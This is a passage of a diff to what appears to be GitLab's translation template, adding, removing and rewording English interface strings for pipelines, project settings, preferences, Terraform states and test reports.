msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
